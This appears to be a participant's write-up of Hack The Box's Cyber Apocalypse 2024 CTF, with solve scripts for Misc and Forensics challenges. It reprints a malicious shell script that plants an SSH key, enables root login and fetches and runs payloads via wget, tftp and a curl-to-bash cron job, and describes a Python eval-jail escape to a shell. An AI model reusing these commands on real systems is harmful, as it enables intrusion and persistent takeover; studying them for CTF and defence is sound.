Cyber Apocalypse 2024: Hacker Royale | Write-Up

The Cyber Apocalypse 2024 CTF hosted by Hack The Box included 67 challenges across 8 categories: Misc, Forensics, Web, Reversing, Crypto, Pwn, Blockchain, and Hardware. More details can be found here: https://ctf.hackthebox.com/event/details/cyber-apocalypse-2024-hacker-royale-1386

The CTF was active from Sat, 09 Mar 2024, 14:00 CET to Thu, 13 Mar, 13:59 CET.


Event Overview

“We used to be peaceful and had enough tech to keep us all happy. What do you think about that?

These data disks alluded to some “societal golden age.” No fighting, no backstabbing, and no factions fighting for some lousy title.
Good, great for them-
Because all we get to look forward to is “The Fray.”

alarms blaring

Oh, look-… it’s showtime.” (Quote: Luxx, faction leader of the Phreaks)

💥 Welcome to “The Fray.” A societal gauntlet made of the most cunning, dedicated, and bloodthirsty factions. We are all bound by the same rule–be one of the last factions standing. All brought to your overlords and sponsors at KORP™.

Our city’s lights bring people from far and wide. It’s one of the last remaining mega structures left after the Great Division took place. But, as far as we are concerned, KORP™ is all there ever was and will be. 

They hold The Fray every four years to find the “best and the brightest around.” Those who make it through their technological concoction of challenges become the “Legionaries,” funded factions who get to sit on easy-street for the time between the next fight.


Misc

[Very Easy] Character

Security through Induced Boredom is a personal favourite approach of mine. Not as exciting as something like The Fray, but I love making it as tedious as possible to see my secrets, so you can only get one character at a time!

An IP address and port were provided to connect to. Upon connecting, a little game was presented.

Since I obviously didn’t want to query for all 100 characters manually, I wrote a script in Python using pwntools.

from pwn import *
import re

# Establishing connection to the remote server
conn = remote('83.136.252.214', 33583)

# Receive data until an index has to be entered
conn.recvuntil(b'index:', drop=True)

i = 0 
flag = ''

# Loop until 104 characters are received from the server
while i < 104:
    # Send the next index to the server
    conn.sendline(str(i).encode())
    
    # Receive data until the next index has to be entered
    received = conn.recvuntil(b'index:', drop=True).decode()
    
    # The received string contains the flag char followed by the query for the next char
    flag += received[-60]
    i += 1
    
# Print the collected flag
print(flag)

Running the code revealed the flag.

Flag: HTB{tH15_1s_4_r3aLly_l0nG_fL4g_i_h0p3_f0r_y0Ur_s4k3_tH4t_y0U_sCr1pTEd_tH1s_oR_els3_iT_t0oK_qU1t3_l0ng!!}


[Very Easy] Stop Drop and Roll

The Fray: The Video Game is one of the greatest hits of the last… well, we don’t remember quite how long. Our “computers” these days can’t run much more than that, and it has a tendency to get repetitive…

Again, an IP address and a port were given, and another game was waiting.

I wrote another script using pwntools.

from pwn import *
import re

# Establish connection to the remote server
conn = remote('83.136.252.214', 57322)

# Receive data until the game begins
conn.recvuntil(b'(y/n)', drop=True)
conn.sendline(b'y')
i = 0

# Receive challenge text until 'do?' is encountered
chall = conn.recvuntil(b'do?', drop=True).decode()

# Extract the question, i. e. scenario
question = re.search(r'\n(.*?)\n', chall).group(1)

# Build the answer from the question
answer = question.replace(", ", "-").replace("GORGE", "STOP").replace("PHREAK", "DROP").replace("FIRE", "ROLL").strip()

print(f"Question {i}: {question}")
print(f"Answer {i}: {answer}")
conn.sendline(answer.encode())

try:
    # Play rounds until no more questions are asked
    while True:
        chall = conn.recvuntil(b'do?', drop=True).decode()
        
        # Beginning with the second question, the leading newline is missing
        match = re.search(r'(.*?)\n', chall)
        if match:
            i += 1
            question = match.group(1)
            answer = question.replace(", ", "-").replace("GORGE", "STOP").replace("PHREAK", "DROP").replace("FIRE", "ROLL").strip()

            print(f"Question {i}: {question}")
            print(f"Answer {i}: {answer}")
            conn.sendline(answer.encode())
        else:
            print("No match found")
            break  # Exit the loop if no match is found

except Exception as e:
    print(f"An error occurred: {str(e)}")
finally:
    conn.interactive()  # Switch to interactive mode to manually interact with the connection

Even using the script, it took some seconds to play all 500 rounds.

Flag: HTB{1_wiLl_sT0p_dR0p_4nD_r0Ll_mY_w4Y_oUt!}


[Easy] Unbreakable

Think you can escape my grasp? Challenge accepted! I dare you to try and break free, but beware, it won’t be easy. I’m ready for whatever tricks you have up your sleeve!

In this challenge, an IP and port is given to connect to, and the source code of the simple server is provided in form of a main.py python script, too.

#!/usr/bin/python3

banner1 = '''
                   __ooooooooo__
              oOOOOOOOOOOOOOOOOOOOOOo
          oOOOOOOOOOOOOOOOOOOOOOOOOOOOOOo
       oOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOo
     oOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOo
   oOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOo
  oOOOOOOOOOOO*  *OOOOOOOOOOOOOO*  *OOOOOOOOOOOOo
 oOOOOOOOOOOO      OOOOOOOOOOOO      OOOOOOOOOOOOo
 oOOOOOOOOOOOOo  oOOOOOOOOOOOOOOo  oOOOOOOOOOOOOOo
oOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOo
oOOOO     OOOOOOOOOOOOOOOOOOOOOOOOOOOOOOO     OOOOo
oOOOOOO OOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOO OOOOOOo
 *OOOOO  OOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOO  OOOOO*
 *OOOOOO  *OOOOOOOOOOOOOOOOOOOOOOOOOOOOO*  OOOOOO*
  *OOOOOO  *OOOOOOOOOOOOOOOOOOOOOOOOOOO*  OOOOOO*
   *OOOOOOo  *OOOOOOOOOOOOOOOOOOOOOOO*  oOOOOOO*
     *OOOOOOOo  *OOOOOOOOOOOOOOOOO*  oOOOOOOO*
       *OOOOOOOOo  *OOOOOOOOOOO*  oOOOOOOOO*      
          *OOOOOOOOo           oOOOOOOOO*      
              *OOOOOOOOOOOOOOOOOOOOO*          
                   ""ooooooooo""
'''

banner2 = '''
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣠⣤⣤⣤⣀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣴⡟⠁⠀⠉⢿⣦⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢸⡿⠀⠀⠀⠀⠀⠻⣧⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣿⡇⠀⢀⠀⠀⠀⠀⢻⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣿⡇⠀⣼⣰⢷⡤⠀⠈⣿⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢹⣇⠀⠉⣿⠈⢻⡀⠀⢸⣧⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢸⣿⠀⠀⢹⡀⠀⢷⡀⠘⣿⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢻⣧⠀⠘⣧⠀⢸⡇⠀⢻⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣤⣤⠶⠾⠿⢷⣦⣄⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⣿⡆⠀⠘⣦⠀⣇⠀⠘⣿⣤⣶⡶⠶⠛⠛⠛⠛⠶⠶⣤⣾⠋⠀⠀⠀⠀⠀⠈⢻⣦⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠘⣿⣄⠀⠘⣦⣿⠀⠀⠋⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⢨⡟⠀⠀⠀⠀⠀⠀⠀⢸⣿⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⢿⣦⠀⠛⠃⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣸⠁⠀⠀⠀⠀⠀⠀⠀⢸⡿⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣀⠀⠀⠀⠀⠀⠀⢠⣿⠏⠁⠀⢀⡴⠃⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⡏⠀⠀⠀⠀⠀⠀⠀⢰⡿⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⢠⠶⠛⠉⢀⣄⠀⠀⠀⢀⣿⠃⠀⠀⡴⠋⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢷⠀⠀⠀⠀⠀⠀⣴⡟⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⣀⣠⡶⠟⠋⠁⠀⠀⠀⣼⡇⠀⢠⡟⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠘⢷⣄⣀⣀⣠⠿⣿⡆⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠋⠁⠀⠀⠀⠀⣀⣤⣤⣿⠀⠀⣸⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠉⠉⠉⠀⠀⢻⡇⠀⠀⠀⠀⢠⣄⠀⢶⣄⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⢀⣤⣾⠿⠟⠛⠋⠹⢿⠀⠀⣿⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢸⣿⡀⠀⠀⠀⠀⠘⢷⡄⠙⣧⡀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⢀⣴⠟⠋⠁⠀⠀⠀⠀⠘⢸⡀⠀⠿⠀⠀⠀⣠⣤⣤⣄⣄⠀⠀⠀⠀⠀⠀⠀⣠⣤⣤⣀⡀⠀⠀⠀⢸⡟⠻⣿⣦⡀⠀⠀⠀⠙⢾⠋⠁⠀⠀⠀⠀⠀
⠀⠀⠀⠀⣠⣾⠟⠁⠀⠀⠀⠀⠀⠀⠀⠀⠈⣇⠀⠀⠀⠀⣴⡏⠁⠀⠀⠹⣷⠀⠀⠀⠀⣠⡿⠋⠀⠀⠈⣷⠀⠀⠀⣾⠃⠀⠀⠉⠻⣦⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⣴⠟⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠹⡆⠀⠀⠀⠘⢷⣄⡀⣀⣠⣿⠀⠀⠀⠀⠻⣧⣄⣀⣠⣴⠿⠁⠀⢠⡟⠀⠀⠀⠀⠀⠙⢿⣄⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⣾⡏⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢠⡽⣦⡀⣀⠀⠀⠉⠉⠉⠉⠀⢀⣀⣀⡀⠀⠉⠉⠉⠁⠀⠀⠀⣠⡿⠀⠀⠀⠀⠀⠀⠀⠈⢻⣧⡀⠀⠀⠀⠀⠀⠀⠀
⠀⢰⣿⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠸⠃⠈⢿⣿⣧⣄⠀⠀⠰⣦⣀⣭⡿⣟⣍⣀⣿⠆⠀⠀⡀⣠⣼⣿⠁⠀⠀⠀⠀⠀⠀⠀⢀⣤⣽⣷⣤⣤⠀⠀⠀⠀⠀
⠀⢀⣿⡆⠀⠀⠀⢀⣀⠀⠀⠀⠀⠀⠀⢀⣴⠖⠋⠁⠈⠻⣿⣿⣿⣶⣶⣤⡉⠉⠀⠈⠉⢉⣀⣤⣶⣶⣿⣿⣿⠃⠀⠀⠀⠀⢀⡴⠋⠀⠀⠀⠀⠀⠉⠻⣷⣄⠀⠀⠀
⠀⣼⡏⣿⠀⢀⣤⠽⠖⠒⠒⠲⣤⣤⡾⠋⠀⠀⠀⠀⠀⠈⠈⠙⢿⣿⣿⣿⣿⣿⣾⣷⣿⣿⣿⣿⣿⣿⣿⡿⠃⠀⠀⣀⣤⠶⠋⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⢻⣧⠀⠀
⢰⣿⠁⢹⠀⠈⠀⠀⠀⠀⠀⠀⠀⣿⠷⠦⠄⠀⠀⠀⠀⠀⠀⠀⠘⠛⠛⠿⣿⣿⣿⣿⣿⣿⣿⣿⡿⠟⠉⢀⣠⠶⠋⠉⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢹⣧⠀
⣸⡇⠀⠀⠀⠀⠀⠀⠀⢰⡇⠀⠀⣿⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢸⣿⠀⠉⠉⠛⠋⠉⠙⢧⠀⠀⢸⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣿⡆
⣿⡇⠀⠀⠈⠆⠀⠀⣠⠟⠀⠀⠀⢸⣇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢸⢿⠀⠀⠀⠀⠀⠀⠀⠈⠱⣄⣸⡇⠠⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣻⡇
⢻⣧⠀⠀⠀⠀⠀⣸⣥⣄⡀⠀⠀⣾⣿⡄⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢸⢸⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢹⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣴⠂⠀⠀⠀⠀⠀⠀⣿⡇
⢸⣿⣦⠀⠀⠀⠚⠉⠀⠈⠉⠻⣾⣿⡏⢻⣄⡀⠀⠀⠀⠀⠀⠀⠀⠀⠠⣟⢘⠀⠀⠀⠀⠀⠀⠀⠀⢀⣴⠟⢳⡄⠀⠀⠀⠀⠀⠀⠀⠀⠐⡟⠀⠀⠀⠀⠀⠀⢀⣿⠁
⢸⡏⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠉⠻⣇⠈⠻⠷⠦⠤⣄⣀⣀⣀⣀⣠⣿⣿⣄⠀⠀⠀⠀⠀⣠⡾⠋⠄⠀⠈⢳⡀⠀⠀⠀⠀⠀⠀⠀⣸⠃⠀⠀⠀⠀⠀⠀⣸⠟⠀
⢸⣿⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠘⣧⣔⠢⠤⠤⠀⠀⠈⠉⠉⠉⢤⠀⠙⠓⠦⠤⣤⣼⠋⠀⠀⠀⠀⠀⠀⠹⣦⠀⠀⠀⠀⠀⢰⠏⠀⠀⠀⠀⠀⢀⣼⡟⠀⠀
⠀⢻⣷⣖⠦⠄⣀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣷⠈⢳⡀⠈⠛⢦⣀⡀⠀⠀⠘⢷⠀⠀⠀⢀⣼⠃⠀⠀⠀⠀⠀⠀⠀⠀⠈⠳⡄⠀⠀⣠⠏⠀⠀⠀⠀⣀⣴⡿⠋⠀⠀⠀
⠀⠀⠙⠻⣦⡀⠈⠛⠆⠀⠀⠀⣠⣤⡤⠀⠿⣤⣀⡙⠢⠀⠀⠈⠙⠃⣠⣤⠾⠓⠛⠛⢿⣿⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢿⡴⠞⠁⢀⣠⣤⠖⢛⣿⠉⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠈⠙⢷⣤⡁⠀⣴⠞⠁⠀⠀⠀⠀⠈⠙⠿⣷⣄⣀⣠⠶⠞⠋⠀⠀⠀⠀⠀⠀⢻⡆⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣤⠶⠞⠋⠁⠀⢀⣾⠟⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠉⠻⣷⡷⠀⠀⠀⠀⠀⠀⠀⠀⠀⢙⣧⡉⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⠢⣤⣀⣀⠀⠀⠈⠂⢀⣤⠾⠋⠀⠀⠀⠀⠀⣠⡾⠃⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠸⣿⡀⠀⠀⠀⠀⠀⠀⠀⠀⢹⣿⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠉⠉⠉⠉⠉⠉⠉⠁⠀⠀⢀⣠⠎⣠⡾⠟⠁⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢹⣧⠀⣦⠀⠀⠀⠀⠀⠀⠀⣿⣇⢠⣄⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣀⠀⠀⠀⠀⠀⠀⠀⠀⠤⢐⣯⣶⡾⠋⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠘⢿⣄⠸⣆⠀⠀⠲⣆⠀⠀⢸⣿⣶⣮⣉⡙⠓⠒⠒⠒⠒⠒⠈⠉⠁⠀⠀⠀⠀⠀⢀⣶⣶⡿⠟⠋⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠛⠷⠾⠷⣦⣾⠟⠻⠟⠛⠁⠀⠈⠛⠛⢿⣶⣤⣤⣤⣀⣀⠀⠀⠀⠀⠀⠀⠀⣨⣾⠟⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠉⠉⠉⠙⠛⠛⠛⠻⠿⠿⠿⠿⠛⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
'''

blacklist = [ ';', '"', 'os', '_', '\\', '/', '`',
              ' ', '-', '!', '[', ']', '*', 'import',
              'eval', 'banner', 'echo', 'cat', '%', 
              '&', '>', '<', '+', '1', '2', '3', '4',
              '5', '6', '7', '8', '9', '0', 'b', 's', 
              'lower', 'upper', 'system', '}', '{' ]

while True:
  ans = input('Break me, shake me!\n\n$ ').strip()
  
  if any(char in ans for char in blacklist):
    print(f'\n{banner1}\nNaughty naughty..\n')
  else:
    try:
      eval(ans + '()')
      print('WHAT WAS THAT?!\n')
    except:
      print(f"\n{banner2}\nI'm UNBREAKABLE!\n") 

To get the flag, I could not simply run cat /flag.txt, because cat was blacklisted. Similarly, I could not encode something with base64 because no number was allowed. All in all, the server was very restrictive. However, it was possible to run python code like print which would be evaluated to print(). So the idea here was to bypass that initial, very restrictive check and slipping away through python. For this, I used exec(input()) to query for something on the next line, treating it as Python code and executing it, followed by import pty;pty.spawn("/bin/bash") to get a shell.

I could then just cat the flag.

Flag: HTB{3v4l_0r_3vuln??}


Forensics

[Very Easy] Urgent

In the midst of Cybercity’s “Fray,” a phishing attack targets its factions, sparking chaos. As they decode the email, cyber sleuths race to trace its source, under a tight deadline. Their mission: unmask the attacker and restore order to the city. In the neon-lit streets, the battle for cyber justice unfolds, determining the factions’ destiny.

For this challenge, an email file called Urgent Faction Recruitment Opportunity - Join Forces Against KORP™ Tyranny.eml was provided. I opened it in Thunderbird.

The text is hard to read, but not important anyway. The sender (anonmember1337@protonmail.com) and receiver (factiongroups@gmail.com) were not important either, and I did do some OSINT on them without finding anything. Instead, the important part was the attachment of the email, which was a HTML file called onlineform.html.

The second script above the title tag contains the same code URL encoded.

Flag: HTB{4n0th3r_d4y_4n0th3r_ph1shi1ng_4tt3mpT}


[Very Easy] It Has Begun

The Fray is upon us, and the very first challenge has been released! Are you ready factions!? Considering this is just the beginning, if you cannot musted the teamwork needed this early, then your doom is likely inevitable.

For this challenge, a shell script called script.sh was given.

#!/bin/sh

if [ "$HOSTNAME" != "KORP-STATION-013" ]; then
    exit
fi

if [ "$EUID" -ne 0 ]; then
    exit
fi

docker kill $(docker ps -q)
docker rm $(docker ps -a -q)

echo "ssh-rsa AAAAB4NzaC1yc2EAAAADAQABAAABAQCl0kIN33IJISIufmqpqg54D7s4J0L7XV2kep0rNzgY1S1IdE8HDAf7z1ipBVuGTygGsq+x4yVnxveGshVP48YmicQHJMCIljmn6Po0RMC48qihm/9ytoEYtkKkeiTR02c6DyIcDnX3QdlSmEqPqSNRQ/XDgM7qIB/VpYtAhK/7DoE8pqdoFNBU5+JlqeWYpsMO+qkHugKA5U22wEGs8xG2XyyDtrBcw10xz+M7U8Vpt0tEadeV973tXNNNpUgYGIFEsrDEAjbMkEsUw+iQmXg37EusEFjCVjBySGH3F+EQtwin3YmxbB9HRMzOIzNnXwCFaYU5JjTNnzylUBp/XB6B user@tS_u0y_ll1w{BTH" >> /root/.ssh/authorized_keys
echo "nameserver 8.8.8.8" >> /etc/resolv.conf
echo "PermitRootLogin yes" >> /etc/ssh/sshd_config
echo "128.90.59.19 legions.korp.htb" >> /etc/hosts

for filename in /proc/*; do
    ex=$(ls -latrh $filename 2> /dev/null|grep exe)
    if echo $ex |grep -q "/var/lib/postgresql/data/postgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew"; then
        result=$(echo "$filename" | sed "s/\/proc\///")
        kill -9 $result
        echo found $filename $result
    fi
done

ARCH=$(uname -m)
array=("x86" "x86_64" "mips" "aarch64" "arm")

if [[ $(echo ${array[@]} | grep -o "$ARCH" | wc -w) -eq 0 ]]; then
  exit
fi


cd /tmp || cd /var/ || cd /mnt || cd /root || cd etc/init.d  || cd /; wget http://legions.korp.htb/0xda4.0xda4.$ARCH; chmod 777 0xda4.0xda4.$ARCH; ./0xda4.0xda4.$ARCH; 
cd /tmp || cd /var/ || cd /mnt || cd /root || cd etc/init.d  || cd /; tftp legions.korp.htb -c get 0xda4.0xda4.$ARCH; cat 0xda4.0xda4.$ARCH > DVRHelper; chmod +x *; ./DVRHelper $ARCH; 
cd /tmp || cd /var/ || cd /mnt || cd /root || cd etc/init.d  || cd /; busybox wget http://legions.korp.htb/0xda4.0xda4.$ARCH; chmod 777;./0xda4.0xda4.$ARCH;
echo "*/5 * * * * root curl -s http://legions.korp.htb/0xda4.0xda4.$ARCH | bash -c 'NG5kX3kwdVJfR3IwdU5kISF9' " >> /etc/crontab

One part of the flag can be seen in line 14, disguised as the machine name of the user of the SSH key: tS_u0y_ll1w{BTH This part of the flag was reversed. Reversing it: https://gchq.github.io/CyberChef/#recipe=Reverse(‘Character’)&input=dFNfdTB5X2xsMXd7QlRI

The second part was given in line 39, disguised as a command that is to be executed per cronjob: NG5kX3kwdVJfR3IwdU5kISF9 This part of the flag was base64 encoded. Decoding it: https://gchq.github.io/CyberChef/#recipe=From_Base64(‘A-Za-z0-9%2B/%3D’,true,false)&input=Tkc1a1gza3dkVkpmUjNJd2RVNWtJU0Y5

Adding both parts revealed the flag.

Flag: HTB{w1ll_y0u_St4nd_y0uR_Gr0uNd!!}


[Very Easy] An unusual sighting

As the preparations come to an end, and The Fray draws near each day, our newly established team has started work on refactoring the new CMS application for the competition. However, after some time we noticed that a lot of our work mysteriously has been disappearing! We managed to extract the SSH Logs and the Bash History from our dev server in question. The faction that manages to uncover the perpetrator will have a massive bonus come competition!

A sshd.log file and a bash_history.txt file were given. As well as an IP address and a port to connect to. Connecting to the IP started a little quiz about the two files. The contents of the two files:

[2024-01-19 12:59:11] Server listening on 0.0.0.0 port 2221.
[2024-01-19 12:59:11] Server listening on :: port 2221.
[2024-01-28 15:24:23] Connection from 100.72.1.95 port 47721 on 100.107.36.130 port 2221 rdomain ""
[2024-01-28 15:24:24] Failed publickey for root from 100.72.1.95 port 47721 ssh2: ECDSA SHA256:E5niDfUPHiDYyqgzSsVH_pHW3lKVqGnZTlPDIXoK5sU
[2024-01-28 15:24:33] Failed password for root from 100.72.1.95 port 47721 ssh2
[2024-01-28 15:24:39] Failed password for root from 100.72.1.95 port 47721 ssh2
[2024-01-28 15:24:43] Failed password for root from 100.72.1.95 port 47721 ssh2
[2024-01-28 15:24:43] Connection closed by authenticating user root 100.72.1.95 port 47721 [preauth]
[2024-02-13 11:29:50] Connection from 100.81.51.199 port 63172 on 100.107.36.130 port 2221 rdomain ""
[2024-02-13 11:29:50] Failed publickey for root from 100.81.51.199 port 63172 ssh2: ECDSA SHA256:NdSnAx2935O7s2KX4LyvIV0gCzzQW5eXYoiiIBosqNE
[2024-02-13 11:29:50] Accepted password for root from 100.81.51.199 port 63172 ssh2
[2024-02-13 11:29:50] Starting session: shell on pts/2 for root from 100.81.51.199 port 63172 id 0
[2024-02-13 11:57:16] syslogin_perform_logout: logout() returned an error
[2024-02-13 11:57:16] Received disconnect from 100.81.51.199 port 63172:11: disconnected by user
[2024-02-13 11:57:16] Disconnected from user root 100.81.51.199 port 63172
[2024-02-15 10:40:47] Connection from 101.111.18.92 port 44711 on 100.107.36.130 port 2221 rdomain ""
[2024-02-15 10:40:48] Failed publickey for softdev from 101.111.18.92 port 44711 ssh2: ECDSA SHA256:TMRAzI8Xehi9UN05pl5PypfDmgKC_5TDKW01T03k6H0
[2024-02-15 10:40:50] Accepted password for softdev from 101.111.18.92 port 44711 ssh2
[2024-02-15 10:40:51] Starting session: shell on pts/2 for softdev from 101.111.18.92 port 44711 id 0
[2024-02-15 10:42:20] syslogin_perform_logout: logout() returned an error
[2024-02-15 10:42:20] Received disconnect from 101.111.18.92 port 44711:11: disconnected by user
[2024-02-15 10:42:20] Disconnected from user softdev 101.111.18.92 port 44711
[2024-02-15 18:51:47] Connection from 101.111.18.92 port 44711 on 100.107.36.130 port 2221 rdomain ""
[2024-02-15 18:51:48] Failed publickey for softdev from 101.111.18.92 port 44711 ssh2: ECDSA SHA256:TMRAzI8Xehi9UN05pl5PypfDmgKC_5TDKW01T03k6H0
[2024-02-15 18:51:50] Accepted password for softdev from 101.111.18.92 port 44711 ssh2
[2024-02-15 18:51:51] Starting session: shell on pts/2 for softdev from 101.111.18.92 port 44711 id 0
[2024-02-15 18:59:39] syslogin_perform_logout: logout() returned an error
[2024-02-15 18:59:39] Received disconnect from 101.111.18.92 port 44711:11: disconnected by user
[2024-02-15 18:59:39] Disconnected from user softdev 101.111.18.92 port 44711
[2024-02-16 10:26:47] Connection from 100.86.71.224 port 58713 on 100.107.36.130 port 2221 rdomain ""
[2024-02-16 10:26:48] Failed publickey for softdev from 100.86.71.224 port 58713 ssh2: ECDSA SHA256:p2aapGz1SWK8ioSXxVzrvI4qKjpCPLIj2e421Wf4Hk8
[2024-02-16 10:26:50] Accepted password for softdev from 100.86.71.224 port 58713 ssh2
[2024-02-16 10:26:51] Starting session: shell on pts/2 for softdev from 100.86.71.224 port 58713 id 0
[2024-02-16 14:47:28] syslogin_perform_logout: logout() returned an error
